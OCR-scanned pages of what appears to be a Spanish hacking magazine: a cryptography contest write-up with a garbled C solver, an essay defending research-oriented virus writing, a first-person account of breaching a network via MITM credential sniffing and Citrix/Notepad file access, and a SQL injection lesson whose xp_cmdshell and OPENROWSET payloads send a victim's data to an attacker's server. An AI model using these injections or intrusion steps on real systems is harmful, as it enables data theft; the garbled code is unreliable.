momento dije que mis textos estuvieran en castellano... :-P

Por supuesto, se trata de la primera estrofa de “Nessun
Dorma” (Que nadie duerma), aria del acto final de la dpera
Turandot de Giacomo Puccini, segin la Wikipedia. Respec-
to a la resolucién, nuevamente phiber utiliz6 herramientas
web (http://www.simonsingh.net/The_Black_Chamber/cae-
sar.html y http://www.richkni.co.uk/php/crypta/caesar.php),
asi comao el hecho de que el almohadillado final delatara
una vocal, lo cual le permitié obtener la clave de la dltima
linea (-5).

Otro participante, skyline2412, utilizd la intuicion e
indicé el hecho de que la utilizacion del idioma italiano
aumentara la dificultad de la prueba, aparte de recordarme

ue “estin graciosos los organizadores” (sic). El segundo
clasificado, chandra, también me recordd que no avisé del
tema del italiano (jeje, tampoco avisé de lo contrario), ade-
mds de comentarme una casualidad que le ayudd a resolver
el reto, y es que al descifrar la primera linea con clave “U"
ohteniamos “hymmo”, lo cual le recordd a “himno”. Ade-
mds, chandra me recomienda en su correo ver el video en
YouTube de Paul Pott cantando esta pieza, aunque yo ya lo

il e s




nabia visto. Personalmente, prefiero la version de Manowar ;-).

Nuestro ganador, rapul, de nuevo escribié un cédigo en C para resolver el
reto. He de reconocer que me sorprendic gratamente que alguien decidiera re-
solver los retos con este formalismo. Mas tarde, rapul me comentd que “los fres
programitas especialmente el dltimo son algo vergonzoso, pero es lo que tiene
las prisas”, pero creo que debo disentir: un concurso con siete niveles (final-
mente ocho) que debe resolverse en menos de 48 horas es un candidato ideal
para lo que se conoce como “extreme programming”, pues lo que priman son los
resultados. El cddigo puede no ser limpio, no tener comentarios, y ser bastante
criptico -lo cual no deja de ser paraddjico-, pero cumple su cometido, y dice
mucho en favor de quien lo escribid. Estos detalles, v otros de los que mds ade-
lante hablaremos, nos hacen ver que se trata de un digno ganador del concurso.
Veamos el codigo:

finclude <stdio.h>
#include <string.h>

int main(} {
char clavel(]
char clawveZ]
char clavei[]
char claved[]
char claveS[]
char claves[]

=3D
=3Dn
=3D
=3D
=3D
=3D

{"nessu "};

[“ocepan boftt "}:

{"voeps nbuvg wafpg"};

{"tkpek rguuc pgnnc vwcht™};
{"hggdv wdacd jxdug lohvw hoohf"];
{"mijyw] rfsti frtwj jinxu jwise

int 1,3,k;
int key:
int kl,k2;

int alpha size =30 26;

puts{ clavel };
puts | clavel ];
puts({ clavel });
puts{ claveqd 1;
puts{ claves };
puta | claveb );

puts{"");

k =3D 0O
k1l =30 0O;
k2 =%D M
for ( k =3D kl;
kay =30 k;
for [ i =3D 0; 1 < strlen( clavel } . ;i
ol AT e 2 TR i T e 1 h ok L R LIRS |
= 'a' + alpha si=
-
) % alpha size ) + 'a' }):
else 27 ey I ol 2] JLBSLLY TS
patEs{"");
b

k <=3D0 k2 : k++ ) |
i++ )

("clavel[i] - key

k =30 0;
k1 =3D 1; £/0
k2 =30 kl;
for { k =3D kl;
key =3D k;
for [ 1 =300 4 <.strlen( clavez } ;
B S O B ] R R T iy et ] (A T

Koe=30 kZ ; k++ ) |
i+t )

(FolaveZ[l]l = key

UN CONCURSO CON SIETE
NIVELES (FINALMENTE
OCHO) QUE DEBE
RESOLVERSE EN MENOS DE
48 HORAS ES UN CANDIDATO
IDEAL PARA LO QUE SE
CONOCE COMO “EXTREME
PROGRAMMING”
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- 'a' + alpha_si= El mes que viene...

ze Por este mes se nos ha terminado el
} % alpha size } + 'a' }; espacio, asi que lo dejamos aqui de
i else printf (™ "); momento. Hemos visto como fue la
‘ puts (™"} ; organizacion de los contenidos del
} taller de criptografia, asi coma la reso-
| lucién de las tres primeras pruebas del
k =3D 0; concurso, las mas sencillas: El mes que
| k1l =30 1; //1 viene destriparemos las cinco restan-
! k2 =3D k1; tes, que son mas complicadas y, desde
| for | k =3D Kl; k <=3D k2 ; k++) luego, mucho mas interesantes.
key =3D k;
for (1 =3D 03 1 < strlen( claved ) = i++i) jHasta entonces!
f if {1 % 6 '=3D 5 )} printf£("%c", { ( claveZ[i] - kew
. - 'a' + alpha_sgi= Ramiro Cano Gomez
i ze death_master@hpn-sec.net
Yo% alpha-size } + &' )i htip://omniumpolentior.wordpress.com/
elage printf(™ ");
puts (™™} ;
}
; k =30 0:
’ k1l =3D 2; //2
é k2 =30 kl1;
| for (k =3D kl; kK <=3D k2 ; k++ ) |
key =3D k;

| for (i =3D 07 i < strlen{ claved | ; 31++ )
I if (1% 6 !=30 5 )} printE("%c", { ( claved[i] - key
= 'a' + alpha gim
ze
}- & alpha size } + "a' };
. elee princE(" ")
| puts("");
1
‘ ki =30 05
Joilvms P S
k2 =30 kl1;
foriipaks =3nok] Pk <=3 T e B
key =3D k;
for [ i =3D 0; 1 < strlan{ claveS )} 5 i+t )}
18 (1 % 6 =305 ) princf("%c™; | [ claveSi[i]. - key
= 'a'" + alpha si=
, za
) ¥ alpha size ) + 'a' );
il alse prinEE (N
puts (™)
I

k =30 0;
kl =30 5;
k2 =3D kl1;
for [ k =3D Kl; k <=3D k2 ; Kk++ ) |
key =3D k;
for (1 '=30'0; "1 < 'strlanf clavad ) 5 d+% )
If (t- %06 =305 ) princf("%c™, [ [ clavat|[i] - kay
- 'a' + alpha si=
ze
Judalpha gize ] 4 bat )i
glse printE(™ ");
pucts ("™} ;
| Premios da los concuirsos.




Miles de servidores dedicados virtuales

en Europa llevan nuestra huella

Claranet lleva mas de una década ofreciendo servidores dedicados a miles de empresas en toda Europa. Una
red gestionada de mas de 10.000 km, 25 Datacenters en todo el mundo y acuerdos de interconexién con
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de euros en 20086 y un equipo de 600 personas en toda Europa, Claranet es actualmente una de las referencias
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Vilali-l VIRUS-SCENE

Leer las descripciones y anilisis de virus y otros malware que se publican en las paginas espe-
cializadas ha dejado de ser un hobby para mi. Da la impresién de haberse perdido el espiritu de
investigacion, de llegar mds alld, de innovar. La mayoria de los nuevos especimenes parecen estar
generados por una maquina que, carente de imaginacion, se limita a crear copias de lo mismo con
tan solo unas leves variaciones en cada individuo.

De vez en cuando aparecen especi-
menes que presentan nuevas técnicas,
adelantos y caracteristicas que revelan
la existencia de vias de infeccidn u
otros problemas de segurida Sin em-

bargo, ha cambiado algo fundamental:

anteriormente encontribamos este tipo
de malware en forma de cadigo fuente
en la pigina web de su autor, o en E-
zines especializados en desarrollo de
malware. Ahora estos especimenes son
descubiertos cuando su presencia “in
-the-wild” ha provocado un nimero
suficiente de llamadas telefdnicas en
los call center de las companias antivi-
rus o helpdesk.

1Qué ha sucedido? ;Las medidas
tomadas nos han llevado a una situa-
cion mejor? Este documento recoge
algunas reflexiones acerca de la situa-
cion de la VIRUS-SCENE en la actua-
lidad, tratando de poner respuesta a
estas pregunlas.

;Qué es la VIRUS-SCENE?

5e denomina asi, de manera colo-
quial, a un grupo de programadores
dedicados a una actividad concreta.
Posiblemente la mds conocida sea la
demo-scene, donde los programadores
compiten por crear las demostraciones
de gréficos, 3D y sonido mads [lamati-
vas y técnicamente avanzadas.

También estd la warez-scene, de-
dicada al trifico de software, la hac-
king- scene, centrada en la seguridad
informdtica, y como no, la virus- sce-
ne.

Cada “scene” tiene sus héroes y sus
villanos, y se compone de un ndmero
elevado de grupos interrelacionados a
través de sus correspondientes portales
weh, foros, e-zines y canales de IRC.
Pasar a formar parte de uno de estos
grupos puede resultar dificil. En la sce-
ne se valora ante todo la capacidad de
auto-aprendizaje, los conocimientos
adquiridos, la dedicacion y la progra-
macién como una forma de arte en

si misma. Todo el trabajo se hace por
gusto, “por amor al arte” (nunca vi un
sitio donde esto encajara tan bien),
quedando como recompensa la auto-
superacion, la formacion v experiencia
adquiridas y, en ocasiones, el recono-
cimiento de colegas y comparieros del
“mundilla”.

Unos anos atras...

Comprender la situacién de la scene
hoy en dia requiere echar un vistazo
al pasado. Pero tranquilos, no vamos
a hablar aqui del gusano de Morris ni
del virus Michelangelo, Nos vamos a
remontar en el pasado tan solo unos
anos atrds

Durante los afios que transcurrieron
entre 1995 y el ano 2000 asistimos a
una situacian especial en la que Inter-
net constituia una red global amplia-
mente extendida por todo el mundo,
pero a la vez algo de reciente apari-
cion en donde el anonimato y lo gra-
tuito o barato se daban la mano junto
a importantes publicaciones o grandes
empresas.

Determinados incidentes ocasio-
nados por virus, como fue el desastre
provocado por el virus CIH 0, o pos-
teriores infecciones masivas provoca-
das por gusanos como Slammer (21 o
Sasser B, por citar algunas, provoca-
ron cierta alarma entre los usuarios,
convirtiéndose de alguna manera en
un fendmeno social. Era dificil encon-
trar a alguien que no se hubiese visto
afectado de alguna manera, directa o
indirecta, en la oficina, entre amigos,
algtn familiar. Quien menos tenia un
amigo a quien “el virus” habia borrado
alguna tesis, el trabajo de toda la vida
o algo similar.

Cuando los virus informiticos se
convirtieron en un problema llamativo
llegsd el momento dlz un nuevo tipo
de respuesta: la persecucién. Algunos
paises comenzaban a adaptar sus leyes
para cubrir toda una serie de proble-
mas de reciente aparicion para los que

EN LA SCENE SE
VALORA ANTE TODO
LA CAPACIDAD DE
AUTO-APRENDIZAJE,
LOS CONOCIMIENTOS
ADQUIRIDOS, LA
DEDICACION Y LA
PROGRAMACION COMO
UNA FORMA DE ARTE




CUANDO LOS VIRUS
INFORMATICOS SE
CONVIRTIERON EN UN
PROBLEMA LLAMATIVO
LLEGO EL MOMENTO
DE UN NUEVO TIPO

DE RESPUESTA: LA
PERSECUCION

no habia una legislacién concreta: los
derechos de copia en Internet, la priva-
cidad, los virus informaticos.

Durante esta transicion no se dis-
tinguid entre quienes publicaron sus
trabajos de investigacidn en desarrollo
de malware, de quienes simplemente
provocaban problemas en redes y sis-
temas empleando estas tecnologias. Y
es que distinguir entre estos tipos de
malware resulta muy simple:

Los especimenes destinados a la
investigacidn presentan estrategias
originales, extremadamente avanzadas

e ingeniosas. Normalmente lo expe-
rimental de las técnicas empleadas
impide su propagacion de manera
masiva, en otras ocasiones su autor
limita de manera artificial esta propa-
gacion al incluir cadigo que evita que
el malware |legue “mas alla del labo-
ratorio”.

Por su parte, los virus destinados a
danar sistemas, a provocar infecciones
masivas, presentan técnicas mas sim-
ples, de demostrada eficacia, pero de
escaso valor didactico o técnico. Estos
especimenes suelen propagarse de ma-
nera descontrolada, en parte ayudados
por el desconocimiento de los usuarios
en materia de seguridad informatica.

La persecucion

La bisqueda de culpables a incidentes
cumugl provocado a escala mundial
por el gusano Slammer provoco un
cierto sentimiento de “persecucion”
dentro de la scene, 5e buscaron res-
ponsables en donde mas facil resulta-
ba: los grupos de la VIRUS-5CENE 41,

Microsoft envid a Peter Fifka, un
miembro de Microsoft Corporation In-
ternet Safety Enforcement Team, a “la
caza de Benny" 151,

Benny era un escritor de virus, pero
habria que tener en cuenta que sus
trabajos siempre han aparecido en for-
ma de codigo fuente para su andlisis,
destinado siempre a la investigacion, a
la comunidad y, todo hay que decirlo,
para el deleite de nuestros sentidos si
somos aficionados a estos temas.

Podriamos entrar aqui en la ya
explotada polémica acerca de la ne-
cesidad o no de crear un exploit o un
malware para demostrar la existencia
de una vulnerabilidad o un riesgo, pe-
ro nos quedaremos simplemente con
un hecho que sirve de ejemplo:

Los ADS (Alternate data stream) de
MTFS se conocen desde siempre, El
sistema operativo, algunas aplicacio-
nes comerciales y, como no, hackers
y autores de malware, han utilizado o
conocen de la existencia de esta carac-
teristica en el sistema de ficheros NTFS
de Windows. Sin embargo, hasta la
aparicion del primer virus que emplea-
ban los ADS para ocultar informacion,
los desarrolladores de antivirus y pro-
ductos de seguridad no se preocuparon
por cubrir este aspecto de la seguridad
en nuestros sistemas.

La aparicidn de VIRUS.WIN32.
STREAM 19 obligd a actualizar los
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LA PUBLICACION

DE TRABAJOS DE
INVESTIGACION EN
TORNO AL DESARROLLO
DE MALWARE SE FRENO,
LLEGANDO INCLUSO A
CONGELARSE

motores de analisis de la mayoria de
antivirus. El resultado final de la inves-
tigacion y el desarrollo de Benny en
esta drea permitio que hoy en dia po-
damos contar con soluciones antivirus
mds completas y avanzadas,

La investigacion, el desarrollo y la
constate innovacion mostrada por la
VIRUS-SCENE ha acelerado la evolu-
cion de la seguridad informdtica en
multitud de aspectos, en una continua
lucha en |la que ambas partes se ven

obligadas a dar lo mejor de si mismas:
Por un lado, los autores de malware
evitan las protecciones y la seguridad
existente, a la vez que crean nuevas
formas de ataque que; por otro lado,
obligan a los desarrolladores de soft-
ware de sepuridad a mantener su tec-
nologia y sus productos al dia:

+ La aparicion de los primeros
motores de mutacion, como fueron
Mutation Engine 71 {escrito por Dark
Avenger) o TPE 8 (Trident Polymor-
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phic Engine del grupo Trident), abligé a los desarrolladores
de Software antivirus a mejorar sus sistemas de deleccian,
dando lugar a la emulacién, al descifrado genérico de virus,
E1C.

- La incorporacion de heuristicas y emulacidn al soft-
ware antivirus dio lugar a la incorporacidn de técnicas anti-
heuristicas y anti- emulacidn en el malware, lo que acelerd
a su vez el desarrollo de mejoras e innovaciones en este
aspecto,

* La temprana aparicién del primer virus polimériico
para Windows 95, VIRUS.WIN9x. MARBURG 9, acelerd
'a incorporacion de técnicas de deteccion avanzadas para
WIN32 en todos los productos antivirus.

- La aparicidn de virus metmdrficos 1191 obligé a mejorar
'as técnicas de deteccién no basadas en patrones.

- Y una mas: jalguien se cree que todos los antivirus

ymerciales, o por %ﬂ menos los mads vendidos, son capaces
‘e detectar con fiabilidad todas las posibles mutaciones de
virus como Zmist 1 {escrito por el autor ruso zombie) o
Metamorph 12 (del espanol Mental driller)

Otro ejemplo similar pero en un dmbito ya mds gené-
"iCo: por poco que nos gusten las guerras, por pacifistas
jue seamos, no se puede negar que el desarrollo de la
tecnologia militar actud de catalizador en el avance de la
informatica. Los que trabajamos en seguridad lo sabemos.
En muchas ocasiones no se tienen en cuenta determinados
riesgos hasta que no ocurre un incidente,

Ahora debemos platearnos: ;qué tipo de incidentes
preferimos? La aparicion de virus de caricter experimental
publicados en forma de cédigo fuente en pdginas web vy
e-zines especializados o, por el contrario, impedir la in-
vestigacion y el desarrollo de pruebas de concepto para,
finalmente, encontrarnos a este tipo de especimenes “in
-the-wild” cuando ya han afectado a multitud de usuarios,

Todo aquel que se sintiera de alguna manera relacio-
nado con la VIRUS-SCENE sinti6 que esta persecucidn
empezaba a no discriminar entre investigadores y simples
maleantes.

Como resultado hubo cierta “estampida” en la SCENE.
5i bien no todos salieron corriendo, si que podemas ga-
rantizar que los que quedaron lo hicieron en silencio total,
tratando de no llamar la atencidn. La publicacién de tra-
bajos de investigacion entorno al desarrollo de malware se
irend, llegando incluso a congelarse en algunos aspectos.
5in embargo, esto no provocd una disminucién del ndmero
de incidentes o de |a cantidad de especimenes que salen a
la luz cada dia.

Una nueva motivacion: el dinero

¢Fara que molestarse en desarrollar un malware de demos-
tracion hoy en dia? La complejidad del sistema operativo y
de las aplicaciones, unida a la presencia de software de se-
guridad, hacen que esta labor quede reservada a expertos
y programadores avanzados. El nimero de horas que un
espécimen experimental requiere para su desarrollo, junto
con las horas dedicadas a la investigacidn, bien puede
asemejarse al que requiere el desarrollo de una aplicacidn
comercial.

Este es el sentimiento que parece haberse aduefiado de
la SCENE.

;Qué queda pues? Bien, el desarrollo de malware es-

m VIRUS-SCENE

peifico para atacar a los usuarios de banca on line parece
que se lleva la palma.

5in duda los especimenes tradicionales en los que un
mensaje del estilo de “Jajajaj soy el virus y he infectado tu
PC" ya no aparecen como payload. Los nuevos virus resul-
tan tan avanzados como lo fueron sus predecesores, o aun
mas, pero su finalidad es claramente otra.

Este nuevo movimiento tiene sus santuarios: puntos de
encuentro, foros, listas de correo, paginas web, e-zines y
grupos, tal y como ocurria con la scene que tradicional-
mente se ha dado en el dmbito del desarrollo de malware.
Acudiendo a estos lugares encontramos el nuevo obijetivo.

Conclusion

5i nos fijamos en los desarrollos de malware aparecidas
recientemente, en los que encontramos mayor esfuerzo téc-
nico, veremos que no se trata de creaciones de la scene: no
han aparecido publicados en e-zines o sitios web especiali-
zados, no hay cddigo fuente 0 no se quién es el el autor.

Ya no se trata de poner en evidencia la debilidad de las
soluciones en seguridad, ya no se trata de apuntar hacia
nuevos caminos. Todo esto ha dejado paso a una nueva es-
pecie, un malware directamente dafino, destinado a invadir

String sql = "INSERT INTD users
{Logiw, pass, rol, crention_date)
VALUES (7,7, 7, 7)'):

Preparedstatement st =
comnsction.preparestatement (sql);

st.sebString (1, user.getLogin());
strsetstring (...

Mo escribas el codigo de acceso a datos a mano.
Es repetitivo, aburrido y propenso a errores,

Genera la capa de persistencia de tu aplicacion
en minutos. Asi de sencillo.

Java [Jdbc, Hibernate, JPA, Spring DAO,...],
PHP, .Net, Python,...

http://www.ribesoftware.com
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nuestra privacidad, acceder a nuestras
cuentas de banca online o a emplear
nuestros sistemas como pasarelas para
el envio de ataques a otras redes o de
spam.

Frente a esta situacion debemos
proteger a quienes descubren y publi-
can sus trabajos con la investigacion
como fin. Como hemos visto, gran
parte de las medidas de seguridad con
que cuentan nuestros sistemas hoy en
dia se deben a los avances que han
tenido lugar a causa de sus descubri-
mientos. ¥ no estamos hablando aqui
de los virus que los usuarios sufren
en sus sistemas y de los que se habla
a veces en television. Evidentemente
no es necesario crear un virus de este
tipo para demostrar nada. Hablamos

LA BUSQUEDA DE
CULPABLES A INCIDENTES
COMO EL PROVOCADO A
ESCALA MUNDIAL POR

EL GUSANO SLAMMER
PROVOCO UN CIERTO
SENTIMIENTO DE
“PERSECUCION” DENTRO
DE LA SCENE

@24

de virus cuyos nombres habitualmente
resultan desconocidos para el usuario
y para los propios medios, que dificil-
mente veremos “in the wild” y que han
salido a la luz dentro de alguna revista
especializada en el tema en forma de
codigo fuente.

Podemos vivir nuestras experien-
cias en el ciberespacio con la misma
seguridad con que contamos en la vida
real: si hemos instalado una puerta
blindada y una alarma las posibili-
dades de sufrir un robo en nuestra
vivienda disminuyen. 5i paseamos por
zonas de la ciudad en las que los de-
litos estin a la orden del dia corremos
el riesgo de ser atracados o algo peor.
Exactamente lo mismo gue sucede en
este mundo virtual que hemos creado.

Para evitar problemas con los virus
informaticos no hay un arma definitiva,
ni una solucidn final, mas que el senti-
do comdn.

Oscar Gallego Sendin / 5215EC LABS

ogallego®@s21sec.com
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CURSO de HACGKING

Hack con el bloc

De vez en cuando me gusta contaros anécdolas que me han pasado de las que haya algo
con lo que podais aprender, asi que este mes os voy a explicar como en una ocasion logré
sacar informacion de un servidor (hasta el extremo de hacerme con las credenciales del
administrador de un dominio Windows) gracias al Bloc de Notas de Microsoft, Pero como
no todo van a ser anécdotas, pasada la época veraniega continuaremos con la inyeccion de
SQL, que cada vez se va poniendo mas y mas interesante.

Hackeando un sistema con el
Bloc de notas

siempre os he dicho que esto del hac-
king, bajo mi punto de vista, es como un
arte, cada uno tiene su estilo. En mi caso
me lo tomo como una partida de ajedrez
en la que hay dos jugadores: mi contrin-
cante (el administrador de sistemas) y yo
(el atacante).

Comao he tenido la fortuna de poder
dedicarme a esto que me gusta profesio-
nalmente, me he encontrado con muchos
sistemas v administradores distintos, pero
al final todo se reduce a dos cosas: cono-
cer las piezas del puzzle y jque te guste
resolver puzzles!

Con esto me refiero a que no hay nin-
glin sistema invulnerable 100%, solo es
necesario tiempo y conocimientos. Cuan-
do te enfrentas a un nuevo reto el ansia
por conquistarlo puede llevarte a hacer
muchas pruebas sin tomar nota de ellas,
pero si quieres tener éxito no hay mas re-
medio que tomdrselo con calma e ir ano-
tando los resultados, aunque sean datos
que a primera vista resulten triviales.

Os voy a poner como ejemplo uno
de los casos que, no hace mucho, vivi en
mis propias carmes,

Estando en una red local tenia que
conseguir colarme hasta obtener informa-
cion no autorizada a usuarios externos.
Sé fue no 05 sonard a un reto muy eleva-
do, pero os puedo garantizar que debido
a la red de la que se trataba si que era
todo un reto.

La red utilizaba DHCP para la asigna-
cion de direcciones IF, pero no te asigna-
ba una IP si la MAC de tu tarjeta no habia

@ 26

sido dada de alta. Dado que trabajaba
con un portitil, mi MAC no estaba auto-
rizada por lo que no tenia conexion con
la red... al menos de momento. Foniendo
en funcionamiento un sniffer, pude pillar
algunos pagquetes de broadcast, con lo
que pude deducir la IP y mdscara de |a
red. Ya con conexian a la red pude des-
cubrir que la mayoria de las aplicaciones
eran accesibles a los usuarios a través
de Citrix Metaframe. Un dia de estos os
hablaré detenidamente de Citrix, pero
hasta entonces os resumo que se trata
de un servidor similar al Terminal Server
de Microsoft que permite a los usuarios
trabajar remotamente. Lo simpatico del
Citrix es que te permite lanzar las aplica-
ciones a través de una pagina web y que
para utilizar dichas
aplicaciones no
necesitas tener
todo un escritorio
de Windows remo-
to, sino que en tu
PC aparece solo
la aplicacion que
hayas solicitado y
a la que estés auto-
rizado.

Para acceder
a las aplicaciones
gue Citrix publica-
ba, primero habia
l_':ll.ll-:!‘ contar con un
usuario y contra-

HTTP). ¥a os he dicho que la red estaba
conmutada, por lo que un simple sniffer
no serviria de nada para capturar las cla-
ves. Asi que recurri al Cain & Abel para
poder ponerme como man-in-the-middle
v poder esnifar el trafico de los demas
usuarios.

Armado con el Cain era cuestion de
esperar a que algidn usuario se logara en
el portal Citrix para pillar su clave. No
pasaron muchos minutos hasta que pude
hacerme con varias claves.

Teniendo ya acceso al portal, inves-
tigué las aplicaciones que habia dispo-
nibles. Después de haberlas repasado,
prabé a ejecutar la sesion de Citrix como
si de un Terminal Server se tratara, es de-
cir, accediendo a la sesion remota en vez

sefa vilidos con

los que acceder al
portal Citrix (que

se publicaba co-
mo una web con

Confenido del mend nicle.




T¥N={4l INYECCION SQL

This operation has been cancelad dus bo restrictions in effect: on this computer. Pleass contact your system

adminictraton,

i ok :

el Notepad (ficheros ZIF, PDF, etc.)
pulsé con el boton derecho del ratdn v
margué “Copiar”. Ahora iba a la carpe-
ta compartida de mi PC, pulsaba otra
vez con el boton derecho y marqué
“Pegar”.

iBingo! El fichero comenzd a co-

Zin permisos para abrir una Iines de comandos.

= Ustithed - Motepad

piarse. El resto es historia :-).
Como habréis podido ver, con un
simple Notepad pude comprometer la seguridad de toda
una red {no os he contado lo que hice después, pero de-

jémoslo en que gracias a esos pasos terminé consiguiendo
el objetivo). Vale que tuve que dar unos pasos previos, pero
o FHH:'DMHH! SR e al final converti al MNotepad en todo un explorador de ar-
chivos que fue un gran aliado... con lo tontito que parecia
,;ﬂ'tmm jejeje.
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Mi disco duro accesible desde Citrix. Coprando ficheros.

de acceder solo a una aplicacion. Aprovechando que la seguri-
dad del Citrix no era demasiado buena, purIF abrir una sesion
como uno de los usuarios y probar a ver qué podia hacer.

Desgraciadamente era un escritorio muy pobre, limitado a
las aplicaciones que ya habia visto en la web. Existia la posibili-
dad de abrir una ventana de M5-DOS, pero mi usuario no tenia
permisos para ello.

Ademds, pulsando en el botén de Inicio no me aparecia la
opcion de “Ejecutar...”.

Después de andar dando vueltas y lograr alguna que otra
cosa, me resultd curioso que habia una aplicacion que no me
aparecia via web: el Bloc de notas de Windows. Nada relevante
a primera visto, pero que luepo se convertiria en algo muy reve-
lador.

Una caracteristica de Citrix que tenia habilitada era que, al
iniciar la sesidn en el Citrix, montaba como una unidad de red
compartida el disco duro de mi portatil. Asi que probé a abrir el
Bloc de notas, cosa que pude, e intenté abrir un fichero.

Podia ver como mi propio disco duro estaba accesible, pero
coincidiréis conmigo en que abrir una TXT de mi disco duro no
tiene chicha, asi que empecé por abrir ficheros del servidor. jTe-
nia acceso a los ficheros del sistema! Bueno, a tados no podia
acceder por falta de permisos, pero si podia acceder a la mayo-
ria. Eso si, eran TXT.

Basto hacer los siguientes cambios para poder acceder a
todo lo que (casi) me diera la gana desde el Bloc de notas (No-
tepad):

1.- Pulsé en Archivo - Abrir.

2.- Pulsé el icono “Mend ver” y seleccioné “Detalles”. Aho-
ra va podia ver los tamanos y fechas de los archivos.

3.- Cambié en la casilla “Nombre” el valor por defecto
“* txt” a “*.*". Ahora podia ver todos los ficheros mas alld de los
TXT.

Bien, ahora venia el toque de gracia. Fui a los ficheros
que me parecian mds interesantes y que no podia abrir con

Inyeccion de codigo SQL:
Leyendo ficheros 11

METODO 4

Llegados a este punto sdlo queda conectarnos a nuestra base de
datos.

En la anterior entrega montasteis vuestro propio servidor de
SQL Server. Dicho servidor queda a la escucha en el puerto TCP
1433. Para asegurarnos de que esta dicho puerto abierto podéis
ejecutar:
findstr 1433

C:\> netstat —an |

Si os aparece lo siguiente, es que estd a la escucha:

TCP
LISTENING

123.0.001:1433 000200

o WIRNT epsboned X mandleds

Puerfa 1433 abierfo.
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Como lo mis probable es que os
estéis conectando a Internet a traves de
un router AD5SL, vuestro puerto 1433
no serd accesible desde Internet, asi
que tendréis que configurar el NAT de
dicho dispositivo para que deje acceder
a otros equipos al vuestro (pero solo a
dicho puerto), asi como vuestro firewall
personal (porque espero que tengais
firewall personal... aunque en casa del
herrero...).

Verifiqguemos ahora que podemos
acceder con las credenciales por defecto
a vuestro servidor SQL. Ejecutad Inicio
- Programas - Microsoft SOQL Server -
Administrador corporativo. Desplegad
la “Raiz de consola™ hasta que veais las
“Bases de datos”. 5i hemos llegado hasta
aqui es que todo estd correcto.

Ahora debemos cambiar la contra-
sefia del administrador de las bases de
datos, que es el usuario “sa”. Para ello
desplegad “Seguridad”, dentro del ser-
vidor SQL que aparece con el nombre
de vuestro PC, y seleccionad “Inicios
de sesion”, Cliquead dos veces sobre el
usuario “sa” y modificad su clave (que
hasta el momento no tiene ninguna, no
es plan de que os infectéis con algin
troyano que se distribuya por el fallo del
usuario “sa” sin contrasefa, o lo que es
peor, que se as cuelen en vuestro PC

mientras estdis en vuestras cosas jajajal.

Bien, ahora crearemos un nuevo
usuario con el que nos autenticaremos
en nuestro SOL desde el SOL de la vic-
tima. Fara ello pulsaremos el icono que
muestra una persona y tiene el tooltip
“Muevo inicio de sesion” (o pulsando
con el boton derecho del raton bajo los
usuarios).

LA AGENCIA TRIBUTARIA
HA SIDO UTILIZADA ESTE
MES COMO RECLAMO EN
UNA OLEADA DE PHISHING
EN EL QUE PEDIAN A

LAS POSIBLES VICTIMAS
LOS DATOS DE ACCESO
ON-LINE A S5US BANCOS
CON LA EXCUSA DE UNA
REDUCCION EN EL IRPF

En el campo “Nombre” indicaremos
el nombre de usuario, que por ejemplo
se llamara “sqgluser”. Luego seleccionais
“Autenticacion de SQL Server” y en el

campo *Contrasena” pmnéis *clavel123”.

Llc-gadns a este punto ya tenemos
todo listo para que se pueda establecer

la conexion, pero adn queda una cosa:
crear la base de datos.

El SQL Server trae varias BD de prue-
bas creadas por defecto, pero los datos
que volguemos desde el servidor SOL
remoto al nuestro deberdn ser almace-
nados en tablas con columnas similares
a las del origen. Como de momento lo
unico que nos interesa es extraer el con-
tenido de un fichero, bastard con crear
una simple BD de la siguiente manera.

Pulsamos el icono con forma de
cilindro que muestra el tooltip “Mueva
base de datos”. En el campo “Nombre”
definiremos el nombre de la BD, “hack”
en nuestro caso.

Ahora, en la BD “hack”, creamos la
tabla “export”. Vamos a aprovechar para
explicaros como ejecutar sentencias en
el servidor SQL. Seleccionad la rama
“Tablas” de la BD “hack”. Pulsad ahora
en Herramientas 8 Analizador de consul-
tas SQL. Ahora se os abre la interfaz con
la que podéis ejecutar sentencias SQL
en vuestro servidor (o en uno remoto si
estuvierais conectados a el). En “Anali-
zador de consultas SOL” que se os habri
abierto, en la ventana de “Consulta”
escribis |a sentencia SQL en cuestion,
que sera:

CREATE TABLE export (salida VAR-
CHAR(B000))
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A continuacion, para que se ejecute
tendréis que pulsar el botan de play (cu-
yo tooltip es “Ejecutar consulta”). Si todo

a ido bien os mostrara:

Comandos completados con éxito.

Lo que hemos hecho es crear la tabla
export” que solo contiene la columna

salida” que es del tipo varchar. Podéis

omprobarlo seleccionando la rama “Ta-

las”, después pulsar con el boton de-
recho del ratdn sobre la tabla “export” y
seleccionar Abrir tabla B Devolver todas
las filas. Asi veréis que el nombre de la
unica columna y que la tabla esta vacia.

Bueno, acabdis de aprender como
ver el contenido de una tabla. Prosiga-
mos.

Ahora debéis darle al usuario “sqglu-
ser” permisos en la BD “hack”. Para ello
editdis el usuario “hack” v le definis
dentro de “Predeterminado” la base de
datos “hack”. Os indicard que hay que
darle permisos para dicha base de datos,
a lo que le decis que si y se lo habilitais.

Ya estamos listos para que el servidor
remoto se conecte al nuestro para volcar
el contenido de sus tablas.

En la entrega 111 creamos la tabla
“foo” que estamos utilizando para llenar
con los resultados de los comandos que

nemos ido ejecutando (o para volcar en
ella el contenido de un fichero... la ver-
dad es que ahora nos es indiferente co-
mo llenamos dicha tabla), por ejemplo:

'+ INSERT INTO foo exec
magster..xp cmdshell 'dir c:

g

Hay dos funciones que nos permiten
conectar a una BD externa: OPENROW-
SET y OPENDATASOURCE. Aunque
ambos hacen lo mismo practicamente,
os recomendamos el uso preferente de
OPENROWSET.

Pues bien, vamos a inyectar una sen-
tencia SOL que vuelgue el contenido de
dicha tabla “foo” a la que tenemos en
nuestro servidor:

"5 INSERT INTO OPENROWSET
("SQLOLEDE', "UID=s5gluser; FW
D=clavelld; SERVER=sqldeaver.
no-ip.org; ', 'SELECT * FROM
export’) SELECT * FROM foo=-

Os explicamos lo que hemos hecho:

» INSERT INTO: Insertamos el conte-
nido extraido en otra tabla.

Website del mes

Al igual que el mes pasado me puse me-
lancdlico con la web que os recomen-
daba, lo mismo me ocurre aste mes. Y
es gue cuando uno echa la vista atras
resulta muy bonito el poder ver como
hay cosas que perduran, a pesar de la

volatilidad de los contenidos en |a red.

B = bt 1y Birbars i | aie L e T T

Hoy os voy a recomendar que vi-

sitéis la web de Roman Medina-Helgl

Hernandez, conocido en la red por
su alter ego RoMaNSoFt. Hace ya

muchos afnos que nos encontramos

en este mundillo, posteando por las
NEws. quuadeclrﬂana que su primer

paper que lei fue el mitico
IRC", publicado en Julio de
1897, “ahi es na".

que estoy seguro que sa-
bréis disfrutar de su web

de su web podéis visitar su
seccion “Papers y publica-
suyos escritos para y pu-
blicados en esta revista, @

